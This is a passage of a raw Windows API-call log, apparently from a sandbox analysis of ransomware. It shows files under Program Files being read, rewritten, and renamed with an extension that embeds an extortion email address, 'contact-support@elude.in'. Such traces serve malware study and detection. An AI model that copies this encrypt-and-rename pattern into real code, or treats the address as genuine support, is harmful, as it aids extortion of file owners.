lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0198.298] GetProcessHeap () returned 0x630000 [0198.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0198.298] GetProcessHeap () returned 0x630000 [0198.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0198.298] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.298] ReadFile (in: hFile=0x4f0, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.974] GetProcessHeap () returned 0x630000 [0206.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0206.974] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.974] WriteFile (in: hFile=0x4f0, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.975] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.975] WriteFile (in: hFile=0x4f0, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.976] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.976] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.976] CloseHandle (hObject=0x4f0) returned 1 [0206.976] GetProcessHeap () returned 0x630000 [0206.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0206.983] GetProcessHeap () returned 0x630000 [0206.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0206.983] GetProcessHeap () returned 0x630000 [0206.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0206.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x414fe76d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x376ac, dwReserved0=0x9f87496, dwReserved1=0x7247da8, cFileName="DWTRIG20.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DWTRIG~1.FIR")) returned 0x6d5280 [0206.984] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0206.984] Sleep (dwMilliseconds=0x1) [0206.994] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF", len=0x6f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF") returned 1 [0206.994] GetProcessHeap () returned 0x630000 [0206.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c54) returned 0x6fe4288 [0206.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0206.995] CloseHandle (hObject=0x718) returned 1 [0206.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x61086b02, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5280 [0206.996] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0206.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0206.996] GetProcessHeap () returned 0x630000 [0206.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x7465e98 [0206.997] GetProcessHeap () returned 0x630000 [0206.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x7467db8 [0206.997] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.997] ReadFile (in: hFile=0x718, lpBuffer=0x7465e98, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7465e98*, lpNumberOfBytesRead=0x6d7ff0c*=0x780, lpOverlapped=0x0) returned 1 [0207.005] GetProcessHeap () returned 0x630000 [0207.005] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0207.005] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.005] WriteFile (in: hFile=0x718, lpBuffer=0x7467db8*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7467db8*, lpNumberOfBytesWritten=0x6d7ff0c*=0x780, lpOverlapped=0x0) returned 1 [0207.005] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.005] WriteFile (in: hFile=0x718, lpBuffer=0x7468537*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7468537*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.006] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.006] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.006] CloseHandle (hObject=0x718) returned 1 [0207.006] GetProcessHeap () returned 0x630000 [0207.006] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7467db8 | out: hHeap=0x630000) returned 1 [0207.006] GetProcessHeap () returned 0x630000 [0207.006] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7465e98 | out: hHeap=0x630000) returned 1 [0207.006] GetProcessHeap () returned 0x630000 [0207.006] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0207.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4154ac0d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7a9, dwReserved0=0x6d7fd20, dwReserved1=0x7465e98, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0207.006] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0207.006] Sleep (dwMilliseconds=0x1) [0209.072] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF", len=0x65 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF") returned 1 [0209.072] GetProcessHeap () returned 0x630000 [0209.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e48) returned 0x6fe4288 [0209.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0209.073] CloseHandle (hObject=0x6d0) returned 1 [0209.073] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\themes.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\themes.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="THEMES.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THEMES~1.FIR")) returned 0x6d52c0 [0209.074] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0209.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\themes.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0209.074] GetProcessHeap () returned 0x630000 [0209.074] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c81) returned 0x6feb278 [0209.075] GetProcessHeap () returned 0x630000 [0209.075] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c81) returned 0x72aef50 [0209.075] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.075] ReadFile (in: hFile=0x6d0, lpBuffer=0x6feb278, nNumberOfBytesToRead=0x1c60, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6feb278*, lpNumberOfBytesRead=0x6d7ff0c*=0x1c60, lpOverlapped=0x0) returned 1 [0209.102] GetProcessHeap () returned 0x630000 [0209.102] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0209.102] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.103] WriteFile (in: hFile=0x6d0, lpBuffer=0x72aef50*, nNumberOfBytesToWrite=0x1c60, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef50*, lpNumberOfBytesWritten=0x6d7ff0c*=0x1c60, lpOverlapped=0x0) returned 1 [0209.103] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.103] WriteFile (in: hFile=0x6d0, lpBuffer=0x72b0baf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b0baf*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0209.103] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.103] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0209.103] CloseHandle (hObject=0x6d0) returned 1 [0209.103] GetProcessHeap () returned 0x630000 [0209.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72aef50 | out: hHeap=0x630000) returned 1 [0209.103] GetProcessHeap () returned 0x630000 [0209.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feb278 | out: hHeap=0x630000) returned 1 [0209.103] GetProcessHeap () returned 0x630000 [0209.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0209.104] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\THEMES.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x429674c8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c90, dwReserved0=0x9f87496, dwReserved1=0x6feb270, cFileName="THEMES.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THEMES~1.FIR")) returned 0x6d53c0 [0209.104] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0209.104] Sleep (dwMilliseconds=0x1) [0210.978] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", len=0x70 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX") returned 1 [0210.978] GetProcessHeap () returned 0x630000 [0210.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e4c) returned 0x6fe4288 [0210.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0210.979] CloseHandle (hObject=0x6d8) returned 1 [0210.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="WHTMTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHTMTX~1.FIR")) returned 0x6d4e00 [0210.980] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0210.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0210.981] GetProcessHeap () returned 0x630000 [0210.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73608f8 [0210.981] GetProcessHeap () returned 0x630000 [0210.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x736bd28 [0210.981] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.981] ReadFile (in: hFile=0x6d8, lpBuffer=0x73608f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608f8*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0218.002] GetProcessHeap () returned 0x630000 [0218.002] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0218.002] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.002] WriteFile (in: hFile=0x6d8, lpBuffer=0x736bd28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bd28*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0218.003] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.003] WriteFile (in: hFile=0x6d8, lpBuffer=0x7377127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377127*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.005] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.005] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.005] CloseHandle (hObject=0x6d8) returned 1 [0218.005] GetProcessHeap () returned 0x630000 [0218.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x736bd28 | out: hHeap=0x630000) returned 1 [0218.005] GetProcessHeap () returned 0x630000 [0218.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73608f8 | out: hHeap=0x630000) returned 1 [0218.005] GetProcessHeap () returned 0x630000 [0218.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0218.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x47e32b93, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdfcbc, dwReserved0=0x9f87496, dwReserved1=0x73608f0, cFileName="WHTMTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHTMTX~1.FIR")) returned 0x6d5500 [0218.005] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0218.006] Sleep (dwMilliseconds=0x1) [0218.010] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x6d7ff7c*="C:\\Program 